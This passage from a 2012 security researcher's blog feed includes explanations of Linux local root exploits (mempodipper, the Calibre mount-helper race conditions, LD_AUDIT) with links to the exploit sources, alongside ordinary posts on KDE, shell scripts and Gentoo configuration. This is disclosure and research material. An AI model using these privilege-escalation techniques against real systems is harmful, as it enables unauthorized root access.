<p><b>Update 3</b>: Gentoo is smart enough to remove read permissions on SUID binaries, making it impossible to find the <tt>exit@plt</tt> offset using <tt>objdump</tt>. I determined another way to do this, using ptrace. <tt>Ptrace</tt> allows debugging of any program in memory. For SUID programs, ptracing will drop its privileges, but that&#8217;s fine, since we simply want to find internal memory locations. By parsing the opcode of the binary at the right time, we can decipher the target address of the next call after the printing of the error message. I&#8217;ve created a <a href="http://git.zx2c4.com/CVE-2012-0056/tree/ptrace-offset-finder.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2012-0056/tree/ptrace-offset-finder.c?referer=');">standalone utility</a> that returns the offset, as well as integrating it into the <a href="http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c?referer=');">main mempodipper source</a>.</p>
<p><i>{As always, this is work here is strictly academic, and is not intended for use beyond research and education.}</i></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/749#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=749" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/749/feed</wfw:commentRss>
		<slash:comments>94</slash:comments>
		</item>
		<item>
		<title>FOSDEM from Paris</title>
		<link>http://blog.zx2c4.com/743</link>
		<comments>http://blog.zx2c4.com/743#comments</comments>
		<pubDate>Wed, 18 Jan 2012 15:25:18 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[FOSDOM]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[OSS]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=743</guid>
		<description><![CDATA[I just moved to Paris, which means I&#8217;m finally in the right proximity at the right time for attending an open source conference. I&#8217;m not sure what the scoop is with the Parsian KDE community &#8212; if it exists or is vibrant, if there&#8217;s camaraderie, or what the situation is. But, in case there is [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/743#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=743" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I just moved to Paris, which means I&#8217;m finally in the right proximity at the right time for attending an open source conference. I&#8217;m not sure what the scoop is with the Parsian KDE community &#8212; if it exists or is vibrant, if there&#8217;s camaraderie, or what the situation is. But, in case there is a good vibe brewing inside the Paris OSS community, <i>what do you say we all band together to attend <a href="http://fosdem.org/2012/" onclick="pageTracker._trackPageview('/outgoing/fosdem.org/2012/?referer=');">FOSDEM</a></i>. Leave our city for Brussels in a festive caravan on Friday night (or possibly just a train) and come back Sunday night? If there&#8217;s interest, email me at jason [at] zx2c4 dot com or leave a comment below.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/743#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=743" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/743/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KDE Doesn&#8217;t Suck Anymore, People Finally Realize</title>
		<link>http://blog.zx2c4.com/726</link>
		<comments>http://blog.zx2c4.com/726#comments</comments>
		<pubDate>Sun, 18 Dec 2011 19:50:40 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=726</guid>
		<description><![CDATA[TechRadar has decided that KDE is the most usable desktop compared to Gnome and Unity. A few days prior to the publication of this article, my friend John emailed me to write: I&#8217;m using Kde on my computer at work and it is amazing. It&#8217;s improved so much that it&#8217;s now stable and highly usable. [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/726#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=726" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>TechRadar <a href="http://www.techradar.com/news/software/operating-systems/what-s-the-best-linux-desktop-environment--1045280?artc_pg=1" onclick="pageTracker._trackPageview('/outgoing/www.techradar.com/news/software/operating-systems/what-s-the-best-linux-desktop-environment--1045280?artc_pg=1&amp;referer=');">has decided that KDE is the most usable desktop</a> compared to Gnome and Unity. A few days prior to the publication of this article, my friend <a href="http://john.nachtimwald.com" onclick="pageTracker._trackPageview('/outgoing/john.nachtimwald.com?referer=');">John</a> emailed me to write:</p>
<blockquote><p>
I&#8217;m using Kde on my computer at work and it is amazing. It&#8217;s improved so much that it&#8217;s now stable and highly usable.</p>
<p>I tried Unity (I&#8217;m using Ubuntu) and it was unusable. Gnome 3 was better but had massive issues with my second screen (dual screen setup with nvdia gpu running in twin view). Gnome 3 was still lacking in the productivity area though. Lxde worked great but I don&#8217;t want to use a desktop that looks and feels like Windows 95&#8230; Also Lxde has few apps so I had to pull in gnome or ode ones&#8230;</p>
<p>I also had issues with Ubuntu&#8217;s lightdm but switching to kdm fixed that. So far Kde is the only desktop that fully works, feels good, looks good and has apps for every task.</p>
<p>John<br />
&#8212;<br />
Sent from my phone
</p></blockquote>
<p>Finally folks are figuring out that <em>KDE doesn&#8217;t suck anymore</em>.</p>
<hr />
<strong>Update:</strong> <a href="http://www.signal11.com" onclick="pageTracker._trackPageview('/outgoing/www.signal11.com?referer=');">Adam Weiss</a> writes with a political comparison:</p>
<blockquote><p>
Gnome 3, Unity&#8230;they are like the George W. Bush of the non-KDE Linux desktop movement. Instead of taking care of the real issues on the desk, they went gallavanting off into the netbook world, dropping bombs all over the place and even to this day nobody can really figure out what the point of netbooks is&#8230;
</p></blockquote>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/726#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=726" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/726/feed</wfw:commentRss>
		<slash:comments>62</slash:comments>
		</item>
		<item>
		<title>Exploit Round Up: Calibre Fiasco &amp; LD_AUDIT</title>
		<link>http://blog.zx2c4.com/702</link>
		<comments>http://blog.zx2c4.com/702#comments</comments>
		<pubDate>Fri, 18 Nov 2011 09:28:27 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[calibre]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=702</guid>
		<description><![CDATA[A few weeks ago, I posted an exploit and a bug report for a Linux local root exploit in Calibre. The author, Kovid Goyal, became incensed, and rather than work with me to fix it, he insulted my colleagues and me. After each one of his fixes, I released a new exploit breaking the latest. [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/702#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=702" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>A few weeks ago, I posted an exploit and a bug report for a Linux local root exploit in Calibre. The author, Kovid Goyal, became incensed, and rather than work with me to fix it, he insulted my colleagues and me. After each one of his fixes, I released a new exploit breaking the latest. It got a lot of social media hype, and was kind of a big deal. After several days of media frenzy and bad publicity, the stubborn developer finally bent to the advice of the chorus of leading security researchers, and the mount helper was removed in entirety. In any case, the exploits show some neat race condition tricks that you might want to check out, using inotify and a toggler. </p>
<li><a href="https://bugs.launchpad.net/calibre/+bug/885027" onclick="pageTracker._trackPageview('/outgoing/bugs.launchpad.net/calibre/+bug/885027?referer=');">Hilarious bug report</a></li>
<li><a href="https://lwn.net/Articles/464824/" onclick="pageTracker._trackPageview('/outgoing/lwn.net/Articles/464824/?referer=');">Important news article</a></li>
<li><a href="http://www.reddit.com/r/programming/comments/lzb5h/how_not_to_respond_to_vulnerabilities_in_your_code/" onclick="pageTracker._trackPageview('/outgoing/www.reddit.com/r/programming/comments/lzb5h/how_not_to_respond_to_vulnerabilities_in_your_code/?referer=');">Social media hype</a></li>
<li><a href="http://www.reddit.com/r/netsec/comments/lzdhy/calibre_ebook_reader_local_root_exploit/" onclick="pageTracker._trackPageview('/outgoing/www.reddit.com/r/netsec/comments/lzdhy/calibre_ebook_reader_local_root_exploit/?referer=');">More social media hype</a></li>
<li><a href="https://twitter.com/#!/ioerror/status/132182945275461633" onclick="pageTracker._trackPageview('/outgoing/twitter.com/_/ioerror/status/132182945275461633?referer=');">Compliment from famous hacker</a></li>
<li><a href="http://www.openwall.com/lists/oss-security/2011/11/02/2" onclick="pageTracker._trackPageview('/outgoing/www.openwall.com/lists/oss-security/2011/11/02/2?referer=');">oss-security mailing list discussion</a></li>
<li><a href="http://webcache.googleusercontent.com/search?q=cache:http://crazycoders.com/2011/11/craziest-coders-ever-and-links/" onclick="pageTracker._trackPageview('/outgoing/webcache.googleusercontent.com/search?q=cache_http_//crazycoders.com/2011/11/craziest-coders-ever-and-links/&amp;referer=');">Obscene praise from script-kiddie</a></li>
<li><a href="http://git.zx2c4.com/calibre-mount-helper-exploit/tree/50calibrerassaultmount.sh" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/calibre-mount-helper-exploit/tree/50calibrerassaultmount.sh?referer=');">First Exploit</a></li>
<li><a href="http://git.zx2c4.com/calibre-mount-helper-exploit/tree/60calibrerassaultmount.sh" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/calibre-mount-helper-exploit/tree/60calibrerassaultmount.sh?referer=');">Second Exploit</a></li>
<li><a href="http://git.zx2c4.com/calibre-mount-helper-exploit/tree/70calibrerassaultmount.sh" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/calibre-mount-helper-exploit/tree/70calibrerassaultmount.sh?referer=');">Third Exploit</a></li>
<li><a href="http://git.zx2c4.com/calibre-mount-helper-exploit/tree/80calibrerassaultmount.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/calibre-mount-helper-exploit/tree/80calibrerassaultmount.c?referer=');">Most Glorious Forth Exploit</a></li>
<p>There&#8217;s plenty of technical explanation in the comments of the code. I was assigned <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4124" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4124&amp;referer=');">CVE-2011-4124</a>, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4125" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4125&amp;referer=');">CVE-2011-4125</a>, and <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4126" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4126&amp;referer=');">CVE-2011-4126</a>, my first three CVEs.</p>
<hr />
<p>After that, I decided to learn about linker bugs, so I reread Tavis&#8217; excellent <a href="http://seclists.org/bugtraq/2010/Oct/200" onclick="pageTracker._trackPageview('/outgoing/seclists.org/bugtraq/2010/Oct/200?referer=');">two</a> <a href="http://seclists.org/fulldisclosure/2010/Oct/257" onclick="pageTracker._trackPageview('/outgoing/seclists.org/fulldisclosure/2010/Oct/257?referer=');">write-ups</a> on <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3856" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3856&amp;referer=');">CVE-2010-3856</a> and <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3847" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3847&amp;referer=');">CVE-2010-3847</a>. I saw that there was room for writing a newer exploit based on his research that did not depend on having read access to SUID executables or having a cron daemon installed, so I wrote <a href="http://git.zx2c4.com/CVE-2010-3856/tree/ld-audit-no-read-permission-no-race.sh" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2010-3856/tree/ld-audit-no-read-permission-no-race.sh?referer=');">I Can&#8217;t Read and I Won&#8217;t Race You Either</a>. The source has plenty of explanation. I also suggest reading Tim Brown&#8217;s <a href="http://www.nth-dimension.org.uk/downloads.php?id=77" onclick="pageTracker._trackPageview('/outgoing/www.nth-dimension.org.uk/downloads.php?id=77&amp;referer=');">excellent paper</a> on linker bugs.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/702#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=702" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/702/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Set Wallpaper from Command-line in KDE4</title>
		<link>http://blog.zx2c4.com/699</link>
		<comments>http://blog.zx2c4.com/699#comments</comments>
		<pubDate>Fri, 18 Nov 2011 09:04:45 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[dbus]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[wallpaper]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=699</guid>
		<description><![CDATA[So far as I can tell, changing your wallpaper (using the default wallpaper plugin, not any fancy scripted wallpaper plugins) from the command line in KDE4 is needlessly hard. I have to write a JavaScript file to a temporary location, make a dbus call to load it into an interactive window, and then use xdotool [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/699#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=699" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>So far as I can tell, changing your wallpaper (using the default wallpaper plugin, not any fancy scripted wallpaper plugins) from the command line in KDE4 is needlessly hard. I have to write a <i>JavaScript</i> file to a temporary location, make a dbus call to load it into an interactive window, and then use xdotool to simulate key strokes to run it. Jimminy cricket. But below is how I have it done. If there&#8217;s an easier way that I&#8217;ve missed, <i>pleeeaassseee</i> let me know in the comments.</p>
<p>set-wallpaper.sh:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #007800;">js</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">mktemp</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #007800;">$js</span> <span style="color: #000000; font-weight: bold;">&lt;&lt;</span>_EOF
var wallpaper = <span style="color: #ff0000;">&quot;$1&quot;</span>;
var activity = activities<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>;
activity.currentConfigGroup = new Array<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;Wallpaper&quot;</span>, <span style="color: #ff0000;">&quot;image&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;
activity.writeConfig<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;wallpaper&quot;</span>, wallpaper<span style="color: #7a0874; font-weight: bold;">&#41;</span>;
activity.writeConfig<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;userswallpaper&quot;</span>, wallpaper<span style="color: #7a0874; font-weight: bold;">&#41;</span>;
activity.reloadConfig<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;
_EOF
qdbus org.kde.plasma-desktop <span style="color: #000000; font-weight: bold;">/</span>App local.PlasmaApp.loadScriptInInteractiveConsole <span style="color: #ff0000;">&quot;<span style="color: #007800;">$js</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
xdotool search <span style="color: #660033;">--name</span> <span style="color: #ff0000;">&quot;Desktop Shell Scripting Console – Plasma Desktop Shell&quot;</span> windowactivate key ctrl+e key ctrl+<span style="color: #c20cb9; font-weight: bold;">w</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$js</span>&quot;</span></pre></div></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/699#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=699" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/699/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Convert Office Documents to PDF with GDocs from Bash</title>
		<link>http://blog.zx2c4.com/694</link>
		<comments>http://blog.zx2c4.com/694#comments</comments>
		<pubDate>Fri, 18 Nov 2011 09:01:12 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[conversion]]></category>
		<category><![CDATA[document]]></category>
		<category><![CDATA[gdocs]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=694</guid>
		<description><![CDATA[I&#8217;ve figured out how to script the Google Documents Viewer into reading any office document &#8212; doc, docx, xls, xlsx, odt, ods, and probably a bunch of others &#8212; and converting it to PDF. There are tons of tools, such as unoconv, but Google&#8217;s service is well sandboxed, which makes it a nice choice if [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/694#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=694" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve figured out how to script the <a href="https://docs.google.com/viewer" onclick="pageTracker._trackPageview('/outgoing/docs.google.com/viewer?referer=');">Google Documents Viewer</a> into reading any office document &#8212; doc, docx, xls, xlsx, odt, ods, and probably a bunch of others &#8212; and converting it to PDF. There are tons of tools, such as <a href="http://dag.wieers.com/home-made/unoconv/" onclick="pageTracker._trackPageview('/outgoing/dag.wieers.com/home-made/unoconv/?referer=');">unoconv</a>, but Google&#8217;s service is well sandboxed, which makes it a nice choice if you want to convert untrusted documents, such as in the case of a web service. So without further ado, here you go:</p>
<p>convert-url-to-pdf.sh:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># by Jason A. Donenfeld</span>
<span style="color: #666666; font-style: italic;"># www.zx2c4.com</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$#</span> <span style="color: #660033;">-ne</span> <span style="color: #000000;">2</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
        <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Usage: $0 url output-pdf-file&quot;</span>
        <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">set</span> <span style="color: #660033;">-e</span>
<span style="color: #007800;">documenturl</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">$(echo -n &quot;$1&quot; | xxd -plain | tr -d '\n' | sed 's/\(..\)</span>/%\1/g')&quot;</span>
<span style="color: #007800;">viewerurl</span>=<span style="color: #ff0000;">&quot;http://docs.google.com/viewer?url=<span style="color: #007800;">$documenturl</span>&quot;</span>
<span style="color: #007800;">pdfurl</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">$(printf &quot;$(curl -s &quot;$viewerurl&quot; | sed -n &quot;s/.*gpUrl:'\\([^']*\\)</span>'.*/\\1/p&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #ff0000;">'s/%/%%/g'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #ff0000;">&quot;)&quot;</span>
<span style="color: #007800;">cookiejar</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">$(mktemp)</span>&quot;</span>
curl <span style="color: #660033;">-s</span> <span style="color: #660033;">-L</span> <span style="color: #660033;">-c</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$cookiejar</span>&quot;</span> <span style="color: #660033;">-o</span> <span style="color: #ff0000;">&quot;$2&quot;</span> <span style="color: #007800;">$pdfurl</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$cookiejar</span>&quot;</span></pre></div></div>

<p><object width="480" height="360"><param name="movie" value="http://www.youtube-nocookie.com/v/hJZ3zuD50r0?version=3&amp;hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/hJZ3zuD50r0?version=3&amp;hl=en_US" type="application/x-shockwave-flash" width="480" height="360" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/694#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=694" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/694/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Monkey Patching Ugly Ebuilds &#8212; Disabling HPLIP&#8217;s Autostart</title>
		<link>http://blog.zx2c4.com/682</link>
		<comments>http://blog.zx2c4.com/682#comments</comments>
		<pubDate>Mon, 31 Oct 2011 05:34:02 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=682</guid>
		<description><![CDATA[Gentoo&#8217;s HP printer drivers package, net-print/hplip, if you have the gui USE flags enabled, installs /etc/xdg/autostart/hplip-systray.desktop, which makes an awful Windows-like tray app load with all desktop environments for every user on the machine. Who wants this? Every user? Tray app? Autostart? This is Linux, not Windows, right? Upstream, i.e. Gentoo devs, doesn&#8217;t seem to [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/682#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=682" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Gentoo&#8217;s HP printer drivers package, <tt>net-print/hplip</tt>, if you have the gui USE flags enabled, installs <tt>/etc/xdg/autostart/hplip-systray.desktop</tt>, which makes an awful Windows-like tray app load with all desktop environments for every user on the machine. Who wants this? Every user? Tray app? Autostart? This is Linux, not Windows, right?</p>
<p>Upstream, i.e. Gentoo devs, doesn&#8217;t seem to want to add an autostart USE flag. I don&#8217;t feel like maintaining my own ebuild for this, either. So, the <a href="http://en.gentoo-wiki.com/wiki/Hide_the_HPLIP_system_tray_icon" onclick="pageTracker._trackPageview('/outgoing/en.gentoo-wiki.com/wiki/Hide_the_HPLIP_system_tray_icon?referer=');">official advice</a> is to copy <tt>hplip-systray.desktop</tt> into a special place in your own home folder, and then edit the file to have <tt>Hidden=true</tt>. Yuck. So now my start-up routine will have to spend extra CPU cycles resolving the override, <em>not to mention the requirement for each and every user on my machine to do this</em>. Sure I could add this extra file to the default set of files copied into each home folder on user creation for each desktop environment, but do I really want to do this? What about preexisting users? Do I really want this system installed package to require this kind of manual intervention? The obvious thing to do is just to delete <tt>/etc/xdg/autostart/hplip-systray.desktop</tt> after each time hplip installs, namely, after each update.</p>
<p>But the official advice calls this approach &#8220;naive&#8221;. Fuck that. I <em>don&#8217;t</em> want the extra overhead of working out the collision, nor do I want to have to add this file to each user&#8217;s home folder. I want that file gone, dead, <a href="http://twitter.com/#!/ElBloombito/status/130418318535442433" onclick="pageTracker._trackPageview('/outgoing/twitter.com/_/ElBloombito/status/130418318535442433?referer=');">vamos</a>&#8216;d. The thing is, it means I have to manually remove the file after each time the ebuild gets updated (and remember, I don&#8217;t want to maintain my own fork of the ebuild).</p>
<p>Fortunately, there&#8217;s a solution: Portage allows per-package environment variable overrides via <tt>/etc/portage/env/</tt>. By putting some monkey patching code in the right place, we can override a function inside of all subsequent hplip ebuilds to automagically remove the ugly file. Create the right directory:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #660033;">-p</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>env<span style="color: #000000; font-weight: bold;">/</span>net-print</pre></div></div>

<p>Then, add my monkey patch code to it:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">vim</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>env<span style="color: #000000; font-weight: bold;">/</span>net-print<span style="color: #000000; font-weight: bold;">/</span>hplip</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #7a0874; font-weight: bold;">type</span> <span style="color: #660033;">-t</span> original_src_install <span style="color: #000000; font-weight: bold;">&gt;/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">type</span> <span style="color: #660033;">-t</span> src_install <span style="color: #000000; font-weight: bold;">&gt;/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null<span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">then</span>
        <span style="color: #7a0874; font-weight: bold;">eval</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$(echo 'original_src_install()</span>'; declare -f src_install | tail -n +2)&quot;</span>
        src_install<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span>
                original_src_install
                <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${D}</span>&quot;</span><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>xdg<span style="color: #000000; font-weight: bold;">/</span>autostart<span style="color: #000000; font-weight: bold;">/</span>hplip-systray.desktop <span style="color: #000000; font-weight: bold;">||</span> die
        <span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #000000; font-weight: bold;">fi</span></pre></div></div>

<p>Finally, re-emerge hplip, and it should install <em>without</em> the autostart file. Yes, this is one ugly bash-ism, but it seems to do the job. Any suggestions would be appreciated.</p>
<hr />
<b>Update</b>: A reader below has noted that a far superior way of doing this is to just put</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">INSTALL_MASK</span>=<span style="color: #ff0000;">&quot;/etc/xdg/autostart/hplip-systray.desktop <span style="color: #007800;">$INSTALL_MASK</span>&quot;</span></pre></div></div>

<p>inside of <tt>/etc/portage/env/net-print/hplip</tt>, without needing to do the monkey patching above. <tt>INSTALL_MASK</tt> is a great feature, one that is not highlighted very much at all in the documentation. The most official mention of it I could find is in <tt>make.conf</tt>&#8216;s man page:</p>
<pre>       INSTALL_MASK = [space delimited list of file names]
              Use this variable if you want  to  selectively  prevent  certain
              files  from  being copied into your file system tree.  This does
              not work on symlinks, but only on actual files.  Useful  if  you
              wish  to  filter  out  files  like  HACKING.gz  and TODO.gz. The
              INSTALL_MASK is processed just before a package is merged.  Also
              supported  is  a  PKG_INSTALL_MASK variable that behaves exactly
              like INSTALL_MASK except that it is processed just  before  cre‐
              ation of a binary package.
</pre>
<p>Internally in <a href="http://sources.gentoo.org/cgi-bin/viewvc.cgi/portage/main/trunk/bin/misc-functions.sh?view=markup" onclick="pageTracker._trackPageview('/outgoing/sources.gentoo.org/cgi-bin/viewvc.cgi/portage/main/trunk/bin/misc-functions.sh?view=markup&amp;referer=');"><tt>misc-functions.sh</tt></a>, it does essentially the same thing as my monkey patch:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">install_mask<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span>
	<span style="color: #7a0874; font-weight: bold;">local</span> <span style="color: #007800;">root</span>=<span style="color: #ff0000;">&quot;$1&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">shift</span>
	<span style="color: #7a0874; font-weight: bold;">local</span> <span style="color: #007800;">install_mask</span>=<span style="color: #ff0000;">&quot;$*&quot;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;"># we don't want globbing for initial expansion, but afterwards, we do</span>
